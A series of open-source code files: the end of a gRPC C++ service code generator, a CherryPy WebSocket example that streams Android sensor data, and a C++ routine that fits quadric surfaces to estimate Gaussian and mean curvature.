true); if (NoStreaming(method)) { printer->Print(*vars, "void Request$Method$(" "::grpc::ServerContext* context, $Request$* request, " "::grpc::ServerAsyncResponseWriter< $Response$>* response, " "::grpc::CompletionQueue* cq, void *tag);\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "void Request$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerAsyncReader< $Response$, $Request$>* reader, " "::grpc::CompletionQueue* cq, void *tag);\n"); } else if (ServerOnlyStreaming(method)) { printer->Print(*vars, "void Request$Method$(" "::grpc::ServerContext* context, $Request$* request, " "::grpc::ServerAsyncWriter< $Response$>* writer, " "::grpc::CompletionQueue* cq, void *tag);\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "void Request$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerAsyncReaderWriter< $Response$, $Request$>* stream, " "::grpc::CompletionQueue* cq, void *tag);\n"); } } void PrintHeaderService(google::protobuf::io::Printer *printer, const google::protobuf::ServiceDescriptor *service, std::map<std::string, std::string> *vars) { (*vars)["Service"] = service->name(); printer->Print(*vars, "class $Service$ GRPC_FINAL {\n" " public:\n"); printer->Indent(); // Client side printer->Print( "class Stub GRPC_FINAL : public ::grpc::InternalStub {\n" " public:\n"); printer->Indent(); for (int i = 0; i < service->method_count(); ++i) { PrintHeaderClientMethod(printer, service->method(i), vars); } printer->Outdent(); printer->Print("};\n"); printer->Print( "static std::unique_ptr<Stub> NewStub(const std::shared_ptr< " "::grpc::ChannelInterface>& " "channel);\n"); printer->Print("\n"); // Server side - Synchronous printer->Print( "class Service : public ::grpc::SynchronousService {\n" " public:\n"); printer->Indent(); printer->Print("Service() : service_(nullptr) {}\n"); printer->Print("virtual ~Service();\n"); for (int i = 0; i < service->method_count(); ++i) { PrintHeaderServerMethodSync(printer, service->method(i), vars); } printer->Print("::grpc::RpcService* service() GRPC_OVERRIDE GRPC_FINAL;\n"); printer->Outdent(); printer->Print( " private:\n" " ::grpc::RpcService* service_;\n"); printer->Print("};\n"); // Server side - Asynchronous printer->Print( "class AsyncService GRPC_FINAL : public ::grpc::AsynchronousService {\n" " public:\n"); printer->Indent(); (*vars)["MethodCount"] = as_string(service->method_count()); printer->Print("explicit AsyncService(::grpc::CompletionQueue* cq);\n"); printer->Print("~AsyncService() {};\n"); for (int i = 0; i < service->method_count(); ++i) { PrintHeaderServerMethodAsync(printer, service->method(i), vars); } printer->Outdent(); printer->Print("};\n"); printer->Outdent(); printer->Print("};\n"); } std::string GetHeaderServices(const google::protobuf::FileDescriptor *file) { std::string output; google::protobuf::io::StringOutputStream output_stream(&output); google::protobuf::io::Printer printer(&output_stream, '$'); std::map<std::string, std::string> vars; for (int i = 0; i < file->service_count(); ++i) { PrintHeaderService(&printer, file->service(i), &vars); printer.Print("\n"); } return output; } void PrintSourceClientMethod(google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Stub::$Method$(" "::grpc::ClientContext* context, " "const $Request$& request, $Response$* response) {\n"); printer->Print(*vars, " return ::grpc::BlockingUnaryCall(channel()," "::grpc::RpcMethod($Service$_method_names[$Idx$]), " "context, request, response);\n" "}\n\n"); printer->Print( *vars, "std::unique_ptr< ::grpc::ClientAsyncResponseReader< $Response$>> " "$Service$::Stub::$Method$(::grpc::ClientContext* context, " "const $Request$& request, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print(*vars, " return std::unique_ptr< " "::grpc::ClientAsyncResponseReader< $Response$>>(new " "::grpc::ClientAsyncResponseReader< $Response$>(" "channel(), cq, " "::grpc::RpcMethod($Service$_method_names[$Idx$]), " "context, request, tag));\n" "}\n\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "std::unique_ptr< ::grpc::ClientWriter< $Request$>> " "$Service$::Stub::$Method$(" "::grpc::ClientContext* context, $Response$* response) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientWriter< " "$Request$>>(new ::grpc::ClientWriter< $Request$>(" "channel()," "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::CLIENT_STREAMING), " "context, response));\n" "}\n\n"); printer->Print(*vars, "std::unique_ptr< ::grpc::ClientAsyncWriter< $Request$>> " "$Service$::Stub::$Method$(" "::grpc::ClientContext* context, $Response$* response, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientAsyncWriter< " "$Request$>>(new ::grpc::ClientAsyncWriter< $Request$>(" "channel(), cq, " "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::CLIENT_STREAMING), " "context, response, tag));\n" "}\n\n"); } else if (ServerOnlyStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientReader< $Response$>> " "$Service$::Stub::$Method$(" "::grpc::ClientContext* context, const $Request$& request) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientReader< " "$Response$>>(new ::grpc::ClientReader< $Response$>(" "channel()," "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::SERVER_STREAMING), " "context, request));\n" "}\n\n"); printer->Print(*vars, "std::unique_ptr< ::grpc::ClientAsyncReader< $Response$>> " "$Service$::Stub::$Method$(" "::grpc::ClientContext* context, const $Request$& request, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientAsyncReader< " "$Response$>>(new ::grpc::ClientAsyncReader< $Response$>(" "channel(), cq, " "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::SERVER_STREAMING), " "context, request, tag));\n" "}\n\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientReaderWriter< $Request$, $Response$>> " "$Service$::Stub::$Method$(::grpc::ClientContext* context) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientReaderWriter< " "$Request$, $Response$>>(new ::grpc::ClientReaderWriter< " "$Request$, $Response$>(" "channel()," "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::BIDI_STREAMING), " "context));\n" "}\n\n"); printer->Print(*vars, "std::unique_ptr< ::grpc::ClientAsyncReaderWriter< " "$Request$, $Response$>> " "$Service$::Stub::$Method$(::grpc::ClientContext* context, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientAsyncReaderWriter< " "$Request$, $Response$>>(new " "::grpc::ClientAsyncReaderWriter< $Request$, $Response$>(" "channel(), cq, " "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::BIDI_STREAMING), " "context, tag));\n" "}\n\n"); } } void PrintSourceServerMethod(google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Service::$Method$(" "::grpc::ServerContext* context, " "const $Request$* request, $Response$* response) {\n"); printer->Print( " return ::grpc::Status(" "::grpc::StatusCode::UNIMPLEMENTED);\n"); printer->Print("}\n\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Service::$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerReader< $Request$>* reader, " "$Response$* response) {\n"); printer->Print( " return ::grpc::Status(" "::grpc::StatusCode::UNIMPLEMENTED);\n"); printer->Print("}\n\n"); } else if (ServerOnlyStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Service::$Method$(" "::grpc::ServerContext* context, " "const $Request$* request, " "::grpc::ServerWriter< $Response$>* writer) {\n"); printer->Print( " return ::grpc::Status(" "::grpc::StatusCode::UNIMPLEMENTED);\n"); printer->Print("}\n\n"); } else if (BidiStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Service::$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerReaderWriter< $Response$, $Request$>* " "stream) {\n"); printer->Print( " return ::grpc::Status(" "::grpc::StatusCode::UNIMPLEMENTED);\n"); printer->Print("}\n\n"); } } void PrintSourceServerAsyncMethod( google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "void $Service$::AsyncService::Request$Method$(" "::grpc::ServerContext* context, " "$Request$* request, " "::grpc::ServerAsyncResponseWriter< $Response$>* response, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print( *vars, " AsynchronousService::RequestAsyncUnary($Idx$, context, request, response, cq, tag);\n"); printer->Print("}\n\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "void $Service$::AsyncService::Request$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerAsyncReader< $Response$, $Request$>* reader, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print( *vars, " AsynchronousService::RequestClientStreaming($Idx$, context, reader, cq, tag);\n"); printer->Print("}\n\n"); } else if (ServerOnlyStreaming(method)) { printer->Print(*vars, "void $Service$::AsyncService::Request$Method$(" "::grpc::ServerContext* context, " "$Request$* request, " "::grpc::ServerAsyncWriter< $Response$>* writer, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print( *vars, " AsynchronousService::RequestServerStreaming($Idx$, context, request, writer, cq, tag);\n"); printer->Print("}\n\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "void $Service$::AsyncService::Request$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerAsyncReaderWriter< $Response$, $Request$>* stream, " "::grpc::CompletionQueue* cq, void *tag) {\n"); printer->Print( *vars, " AsynchronousService::RequestBidiStreaming($Idx$, context, stream, cq, tag);\n"); printer->Print("}\n\n"); } } void PrintSourceService(google::protobuf::io::Printer *printer, const google::protobuf::ServiceDescriptor *service, std::map<std::string, std::string> *vars) { (*vars)["Service"] = service->name(); printer->Print(*vars, "static const char* $Service$_method_names[] = {\n"); for (int i = 0; i < service->method_count(); ++i) { (*vars)["Method"] = service->method(i)->name(); printer->Print(*vars, " \"/$Package$$Service$/$Method$\",\n"); } printer->Print(*vars, "};\n\n"); printer->Print( *vars, "std::unique_ptr< $Service$::Stub> $Service$::NewStub(" "const std::shared_ptr< ::grpc::ChannelInterface>& channel) {\n" " std::unique_ptr< $Service$::Stub> stub(new $Service$::Stub());\n" " stub->set_channel(channel);\n" " return stub;\n" "}\n\n"); for (int i = 0; i < service->method_count(); ++i) { (*vars)["Idx"] = as_string(i); PrintSourceClientMethod(printer, service->method(i), vars); } (*vars)["MethodCount"] = as_string(service->method_count()); printer->Print( *vars, "$Service$::AsyncService::AsyncService(::grpc::CompletionQueue* cq) : " "::grpc::AsynchronousService(cq, $Service$_method_names, $MethodCount$) " "{}\n\n"); printer->Print(*vars, "$Service$::Service::~Service() {\n" " delete service_;\n" "}\n\n"); for (int i = 0; i < service->method_count(); ++i) { (*vars)["Idx"] = as_string(i); PrintSourceServerMethod(printer, service->method(i), vars); PrintSourceServerAsyncMethod(printer, service->method(i), vars); } printer->Print(*vars, "::grpc::RpcService* $Service$::Service::service() {\n"); printer->Indent(); printer->Print( "if (service_ != nullptr) {\n" " return service_;\n" "}\n"); printer->Print("service_ = new ::grpc::RpcService();\n"); for (int i = 0; i < service->method_count(); ++i) { const google::protobuf::MethodDescriptor *method = service->method(i); (*vars)["Idx"] = as_string(i); (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print( *vars, "service_->AddMethod(new ::grpc::RpcServiceMethod(\n" " $Service$_method_names[$Idx$],\n" " ::grpc::RpcMethod::NORMAL_RPC,\n" " new ::grpc::RpcMethodHandler< $Service$::Service, $Request$, " "$Response$>(\n" " std::function< ::grpc::Status($Service$::Service*, " "::grpc::ServerContext*, const $Request$*, $Response$*)>(" "&$Service$::Service::$Method$), this),\n" " new $Request$, new $Response$));\n"); } else if (ClientOnlyStreaming(method)) { printer->Print( *vars, "service_->AddMethod(new ::grpc::RpcServiceMethod(\n" " $Service$_method_names[$Idx$],\n" " ::grpc::RpcMethod::CLIENT_STREAMING,\n" " new ::grpc::ClientStreamingHandler< " "$Service$::Service, $Request$, $Response$>(\n" " std::function< ::grpc::Status($Service$::Service*, " "::grpc::ServerContext*, " "::grpc::ServerReader< $Request$>*, $Response$*)>(" "&$Service$::Service::$Method$), this),\n" " new $Request$, new $Response$));\n"); } else if (ServerOnlyStreaming(method)) { printer->Print( *vars, "service_->AddMethod(new ::grpc::RpcServiceMethod(\n" " $Service$_method_names[$Idx$],\n" " ::grpc::RpcMethod::SERVER_STREAMING,\n" " new ::grpc::ServerStreamingHandler< " "$Service$::Service, $Request$, $Response$>(\n" " std::function< ::grpc::Status($Service$::Service*, " "::grpc::ServerContext*, " "const $Request$*, ::grpc::ServerWriter< $Response$>*)>(" "&$Service$::Service::$Method$), this),\n" " new $Request$, new $Response$));\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "service_->AddMethod(new ::grpc::RpcServiceMethod(\n" " $Service$_method_names[$Idx$],\n" " ::grpc::RpcMethod::BIDI_STREAMING,\n" " new ::grpc::BidiStreamingHandler< " "$Service$::Service, $Request$, $Response$>(\n" " std::function< ::grpc::Status($Service$::Service*, " "::grpc::ServerContext*, " "::grpc::ServerReaderWriter< $Response$, $Request$>*)>(" "&$Service$::Service::$Method$), this),\n" " new $Request$, new $Response$));\n"); } } printer->Print("return service_;\n"); printer->Outdent(); printer->Print("}\n\n"); } std::string GetSourceServices(const google::protobuf::FileDescriptor *file) { std::string output; google::protobuf::io::StringOutputStream output_stream(&output); google::protobuf::io::Printer printer(&output_stream, '$'); std::map<std::string, std::string> vars; // Package string is empty or ends with a dot. It is used to fully qualify // method names. vars["Package"] = file->package(); if (!file->package().empty()) { vars["Package"].append("."); } for (int i = 0; i < file->service_count(); ++i) { PrintSourceService(&printer, file->service(i), &vars); printer.Print("\n"); } return output; } } // namespace grpc_cpp_generator
bsd-3-clause
progrium/WebSocket-for-Python
example/droid_sensor_cherrypy_server.py
2324
# -*- coding: utf-8 -*- import os.path import cherrypy from ws4py.server.cherrypyserver import WebSocketPlugin, WebSocketTool from ws4py.server.handler.threadedhandler import WebSocketHandler, EchoWebSocketHandler class BroadcastWebSocketHandler(WebSocketHandler): def received_message(self, m): cherrypy.engine.publish('websocket-broadcast', str(m)) class Root(object): @cherrypy.expose def index(self): return """<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>WebSocket example displaying Android device sensors</title> <link rel="stylesheet" href="/css/style.css" type="text/css" /> <script type="application/javascript" src="/js/jquery-1.6.2.min.js"> </script> <script type="application/javascript" src="/js/jcanvas.min.js"> </script> <script type="application/javascript" src="/js/droidsensor.js"> </script> <script type="application/javascript"> $(document).ready(function() { initWebSocket(); drawAll(); }); </script> </head> <body> <section id="content" class="body"> <canvas id="canvas" width="900" height="620"></canvas> </section> </body> </html> """ @cherrypy.expose def ws(self): cherrypy.log("Handler created: %s" % repr(cherrypy.request.ws_handler)) if __name__ == '__main__': cherrypy.config.update({ 'server.socket_host': '0.0.0.0', 'server.socket_port': 9000, 'tools.staticdir.root': os.path.abspath(os.path.join(os.path.dirname(__file__), 'static')) } ) print os.path.abspath(os.path.join(__file__, 'static')) WebSocketPlugin(cherrypy.engine).subscribe() cherrypy.tools.websocket = WebSocketTool() cherrypy.quickstart(Root(), '', config={ '/js': { 'tools.staticdir.on': True, 'tools.staticdir.dir': 'js' }, '/css': { 'tools.staticdir.on': True, 'tools.staticdir.dir': 'css' }, '/images': { 'tools.staticdir.on': True, 'tools.staticdir.dir': 'images' }, '/ws': { 'tools.websocket.on': True, 'tools.websocket.handler_cls': BroadcastWebSocketHandler } } )
bsd-3-clause
clwyatt/CTC
Reference/HongLi/src/capd/curvature.cc
12147
// File: curvature.cc // Abstract: determine curvature of surface points on binary volume // // ref. Tracing Surfaces for Surfacing Traces // Sander & Zucker // // ref. Surface Parameterization and Curvature Measurement // of Arbitrary 3-D Objects: Five Pratical Methods // Stokely and Wu, PAMI vol. 14, 1992 // // Created: 02/24/98 by: Chris L. Wyatt // Modified: 10/09/2001 by: Hong Li // // #include "curvature.hh" #include <fstream> #include <cstdio> #ifndef NDEBUG #define NDEBUG #endif #include "constant.h" //Before using the function, check the normal vector validity int curvature(Vertex_with_Features & vert, std::slist<Vertex_with_Features *> nblist, double &cond, int DB, Volume_ext<unsigned short> & volume_ext, float &g, float & m) { std::slist<Vertex_with_Features *>::iterator nbiter; int i; double Ay, Az, dx, dy, dz; double sum11, sum12, sum13, sum22, sum23, sum33; double a, b, c; mvVec3f ip; mvVec3f neighbors[MAX_NEIGHBORS]; double **ATA, **ATAInv; int numn = 0; mvVec3f norm = vert.getNormDir(); Az = gzangle(norm); norm = (norm.zRotate(-Az)); Ay = gyangle(norm); norm = (norm.yRotate(-Ay)); nbiter = nblist.begin(); while(nbiter != nblist.end()) { ip.x = -vert.getPX()+ (*nbiter)->getPX(); ip.y = -vert.getPY()+ (*nbiter)->getPY(); ip.z = -vert.getPZ()+ (*nbiter)->getPZ(); ip = (ip.zRotate(-Az)); ip = (ip.yRotate(-Ay)); neighbors[numn++] = ip; nbiter++; } ATA = matrix<double>(1, 3, 1, 3); ATAInv = matrix<double>(1, 3, 1, 3); sum11 = 0; sum12 = 0; sum13 = 0; sum22 = 0; sum23 = 0; sum33 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; sum11 += dx*dx*dx*dx; sum12 += dx*dx*2*dx*dy; sum13 += dx*dx*dy*dy; sum22 += 2*dx*dy*2*dx*dy; sum23 += 2*dx*dy*dy*dy; sum33 += dy*dy*dy*dy; } ATA[1][1] = sum11; ATA[1][2] = sum12; ATA[1][3] = sum13; ATA[2][1] = sum12; ATA[2][2] = sum22; ATA[2][3] = sum23; ATA[3][1] = sum13; ATA[3][2] = sum23; ATA[3][3] = sum33; invertMatrixSVD(ATA, ATAInv, 3, cond); sum11 = sum12 = sum13 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; dz = (double)neighbors[i].z; sum11 += dx*dx*dz; sum12 += 2*dx*dy*dz; sum13 += dy*dy*dz; } a = ATAInv[1][1]*sum11 + ATAInv[1][2]*sum12 + ATAInv[1][3]*sum13; b = ATAInv[2][1]*sum11 + ATAInv[2][2]*sum12 + ATAInv[2][3]*sum13; c = ATAInv[3][1]*sum11 + ATAInv[3][2]*sum12 + ATAInv[3][3]*sum13; #ifdef NDEBUG if (DB ==1) { ofstream outfile, outfile1, outfile2,outfile3, outfile4; char sout[80]; outfile1.open ("mesh1.off", ofstream::out | ofstream::app); cout<<numn<<endl; for (i=0; i<numn; i++){ sprintf(sout, "%f %f %f ",neighbors[i].x, neighbors[i].y,neighbors[i].z); outfile1<<sout<<endl; } cout << " a = "<< a <<" b = "<< b << " c = "<< c <<endl; float dy = 0.25; //mm float dz = 0.25; //mm outfile2.open ("mesh2.mesh"); //transforemed mesh outfile2 <<"CMESH" <<endl; outfile2 <<"200 200" <<endl; outfile3.open ("mesh3.mesh"); //untransformed mesh outfile3 <<"CMESH" <<endl; outfile3 <<"200 200" <<endl; float x,y,z,v; // float xorig, yorig, zorig, xs,ys,zs; // volume_ext.getOrigin(xorig,yorig,zorig); // volume_ext.getVoxelSpacing(xs,ys,zs); // cout << "xo= "<<xorig<<" yo= "<<yorig<<" zo= "<<zorig<< // "dx = "<<xs<<" dy= "<<ys<<" dz = "<<zs<<endl; // xorig = yorig=xorig = 0; //for start in voxel mvVec3f temp; for (i = -100; i< 100; i++) { for (int j=-100;j<100;j++) { outfile2<< "0 "<< j*dy << " " <<i*dz<<" 1 0 0 1 "; temp = mvVec3f(0, j*dy, i*dz); temp = temp.yRotate(Ay); temp = temp.zRotate(Az); x = vert.getPX()+temp.x; y = vert.getPY()+temp.y; z = vert.getPZ()+temp.z; v = volume_ext.getValue(x,y,z); //cout <<"v = "<<v<<endl; if (v>=1500) v = 1; else v = v/1500; outfile3<< x << " "<<y << " " <<z<<" "<<v<<" "<<v<<" "<<v<<" 1 "; } outfile2<<endl; outfile3<<endl; } temp = temp.crossProduct( vert.getNormDir()); mvVec3f parallel = (vert.getNormDir()).crossProduct(temp); parallel.normalize(); outfile4.open ("stop.vect"); //untransformed mesh outfile4 <<"VECT" <<endl; outfile4 <<"1 2 1"<<endl; outfile4 <<"2"<<endl; outfile4 <<"1"<<endl; x = vert.getPX(); y = vert.getPY(); z = vert.getPZ(); mvVec3f curv = mvVec3f(x,y,z); temp = vert.getNormDir(); curv = curv + temp * vert.getThickness(); /*float tempv = volume_ext.getValue(curv.x,curv.y,curv.z); int turn = 0; for (i = 0; i < 100; i++) { curv += temp * 0.25; v = volume_ext.getValue(curv.x,curv.y,curv.z); if ( v - 1024 > 60) { cout << v <<" Larger than 60 at "<< i*0.25 <<" mm" <<endl; break; } if ( turn ==1 && v-1024 < -425) { cout << v <<" Lower than -425 at "<< i*0.25 <<" mm"<<endl; break; } if ( turn == 1 && v > tempv) { cout << "turning at "<< i*0.25 <<" mm" <<endl; break; } if ( v < tempv) turn = 1; tempv = v; }*/ mvVec3f from = curv - parallel * 2; mvVec3f to = curv + parallel * 2; outfile4 <<from.x <<" "<<from.y<<" "<<from.z<<" "<< to.x<<" "<<to.y<<" "<<to.z<<endl; outfile4 <<"1 1 0 1"<<endl; outfile1.close(); outfile2.close(); outfile3.close(); outfile4.close(); } #endif free_matrix(ATA, 1, 3, 1, 3); free_matrix(ATAInv, 1, 3, 1, 3); g= 4*(a*c - b*b); m= a + c; } //Before using the function, check the normal vector validity int curvature(Vertex_with_Features & vert, std::slist<Vertex_with_Features *> nblist, float &g, float & m) { std::slist<Vertex_with_Features *>::iterator nbiter; int i; double Ay, Az, dx, dy, dz; double sum11, sum12, sum13, sum22, sum23, sum33; double a, b, c; mvVec3f ip; mvVec3f neighbors[MAX_NEIGHBORS]; double **ATA, **ATAInv; double cond; int numn = 0; mvVec3f norm = vert.getNormDir(); Az = gzangle(norm); norm = (norm.zRotate(-Az)); Ay = gyangle(norm); norm = (norm.yRotate(-Ay)); nbiter = nblist.begin(); while(nbiter != nblist.end()) { ip.x = -vert.getPX()+ (*nbiter)->getPX(); ip.y = -vert.getPY()+ (*nbiter)->getPY(); ip.z = -vert.getPZ()+ (*nbiter)->getPZ(); ip = (ip.zRotate(-Az)); ip = (ip.yRotate(-Ay)); neighbors[numn++] = ip; nbiter++; } ATA = matrix<double>(1, 3, 1, 3); ATAInv = matrix<double>(1, 3, 1, 3); sum11 = 0; sum12 = 0; sum13 = 0; sum22 = 0; sum23 = 0; sum33 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; sum11 += dx*dx*dx*dx; sum12 += dx*dx*2*dx*dy; sum13 += dx*dx*dy*dy; sum22 += 2*dx*dy*2*dx*dy; sum23 += 2*dx*dy*dy*dy; sum33 += dy*dy*dy*dy; } ATA[1][1] = sum11; ATA[1][2] = sum12; ATA[1][3] = sum13; ATA[2][1] = sum12; ATA[2][2] = sum22; ATA[2][3] = sum23; ATA[3][1] = sum13; ATA[3][2] = sum23; ATA[3][3] = sum33; invertMatrixSVD(ATA, ATAInv, 3, cond); sum11 = sum12 = sum13 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; dz = (double)neighbors[i].z; sum11 += dx*dx*dz; sum12 += 2*dx*dy*dz; sum13 += dy*dy*dz; } a = ATAInv[1][1]*sum11 + ATAInv[1][2]*sum12 + ATAInv[1][3]*sum13; b = ATAInv[2][1]*sum11 + ATAInv[2][2]*sum12 + ATAInv[2][3]*sum13; c = ATAInv[3][1]*sum11 + ATAInv[3][2]*sum12 + ATAInv[3][3]*sum13; free_matrix(ATA, 1, 3, 1, 3); free_matrix(ATAInv, 1, 3, 1, 3); g= 4*(a*c - b*b); m= a + c; } //Before using the function, check the normal vector validity //This form of curvature is calculated based on vertex list, a given center, and // a given normal diection, and the output is gaussian, mean, and two principle //curvatures // int curvature(Vertex_with_Features & vert, std::slist<Vertex_with_Features *> nblist, mvVec3f norm, float &g, float & m, float & maxPrinciple, float & minPrinciple, double & a, double & b, double & c, double & Ay, double & Az, double * trans) { std::slist<Vertex_with_Features *>::iterator nbiter; int i; double dx, dy, dz; double sum11, sum12, sum13, sum22, sum23, sum33; mvVec3f ip; mvVec3f neighbors[MAX_NEIGHBORS]; double **ATA, **ATAInv; double cond; int numn = 0; double R1[4][4]; double R2[4][4]; double T[4][4], Temp[4][4]; Az = gzangle(norm); norm = (norm.zRotate(-Az)); Ay = gyangle(norm); norm = (norm.yRotate(-Ay)); if( trans !=NULL) { /* Tansform Matrix is defined as T*X = X'; T = R(2) * R(1) * Tanslation; */ /* R(1) rotate about y [ cos(Ay) 0 sin(Ay) 0 0 1 0 0 -sin(Ay) 0 cos(Ay) 0 0 0 0 1] */ R1[0][0] = cos(-Ay), R1[0][1]=0, R1[0][2] = sin(-Ay), R1[0][3] = 0; R1[1][0] = 0, R1[1][1]=1, R1[1][2] = 0, R1[1][3] = 0; R1[2][0] = -sin(-Ay), R1[2][1]=0, R1[2][2] = cos(-Ay), R1[2][3] = 0; R1[3][0] = 0, R1[3][1]=0, R1[3][2] = 0, R1[3][3] = 1; /* R(2) rotate about [ cos(Az) -sin(Az) 0 0 sin(Az) cos(Az) 0 0 0 0 1 0 0 0 0 1] */ R2[0][0] = cos(-Az), R2[0][1]=-sin(-Az), R2[0][2] = 0, R2[0][3] = 0; R2[1][0] = sin(-Az), R2[1][1]=cos(-Az), R2[1][2] = 0, R2[1][3] = 0; R2[2][0] = 0, R2[2][1]=0, R2[2][2] = 1, R2[2][3] = 0; R2[3][0] = 0, R2[3][1]=0, R2[3][2] = 0, R2[3][3] = 1; /* Translation [ 1 0 0 xs 0 1 0 ys 0 0 1 zs 0 0 0 1] */ T[0][0] = 1, T[0][1]=0, T[0][2] = 0, T[0][3] = -vert.getPX(); T[1][0] = 0, T[1][1]=1, T[1][2] = 0, T[1][3] = -vert.getPY(); T[2][0] = 0, T[2][1]=0, T[2][2] = 1, T[2][3] = -vert.getPZ(); T[3][0] = 0, T[3][1]=0, T[3][2] = 0, T[3][3] = 1; /* calculate Tranform matrix */ for (int i =0; i < 4 ; i++) { for (int j = 0; j < 4; j++) { Temp[i][j] = 0; for (int k = 0; k < 4; k++) Temp[i][j] += R1[i][k]*R2[k][j] ; } } double * result; result = trans; for (int i =0; i < 4 ; i++) { for (int j = 0; j < 4; j++) { *result = 0; for (int k = 0; k < 4; k++) * result += Temp[i][k]*T[k][j] ; result ++; } } } nbiter = nblist.begin(); while(nbiter != nblist.end()) { ip.x = -vert.getPX()+ (*nbiter)->getPX(); ip.y = -vert.getPY()+ (*nbiter)->getPY(); ip.z = -vert.getPZ()+ (*nbiter)->getPZ(); ip = (ip.zRotate(-Az)); ip = (ip.yRotate(-Ay)); neighbors[numn++] = ip; nbiter++; } ATA = matrix<double>(1, 3, 1, 3); ATAInv = matrix<double>(1, 3, 1, 3); sum11 = 0; sum12 = 0; sum13 = 0; sum22 = 0; sum23 = 0; sum33 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; sum11 += dx*dx*dx*dx; sum12 += dx*dx*2*dx*dy; sum13 += dx*dx*dy*dy; sum22 += 2*dx*dy*2*dx*dy; sum23 += 2*dx*dy*dy*dy; sum33 += dy*dy*dy*dy; } ATA[1][1] = sum11; ATA[1][2] = sum12; ATA[1][3] = sum13; ATA[2][1] = sum12; ATA[2][2] = sum22; ATA[2][3] = sum23; ATA[3][1] = sum13; ATA[3][2] = sum23; ATA[3][3] = sum33; invertMatrixSVD(ATA, ATAInv, 3, cond); sum11 = sum12 = sum13 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; dz = (double)neighbors[i].z; sum11 += dx*dx*dz; sum12 += 2*dx*dy*dz; sum13 += dy*dy*dz; } a = ATAInv[1][1]*sum11 + ATAInv[1][2]*sum12 + ATAInv[1][3]*sum13; b = ATAInv[2][1]*sum11 + ATAInv[2][2]*sum12 + ATAInv[2][3]*sum13; c = ATAInv[3][1]*sum11 + ATAInv[3][2]*sum12 + ATAInv[3][3]*sum13; free_matrix(ATA, 1, 3, 1, 3); free_matrix(ATAInv, 1, 3, 1, 3); g= 4*(a*c - b*b); m= a + c; float k1 = m+sqrt(m*m-g); float k2 = m-sqrt(m*m-g); maxPrinciple = max(k1,k2); minPrinciple = min(k1,k2); } double gxangle(mvVec3f p) { double Ax; Ax = atan2(p.z, p.y); return Ax; } double gyangle(mvVec3f p) { double Ay; Ay = atan2(p.x, p.z); return Ay; } double gzangle(mvVec3f p) { double Az; Az = atan2(p.y, p.x); return Az; }
bsd-3-clause
archhaskell/archlinux
scripts/recdeps.hs
441
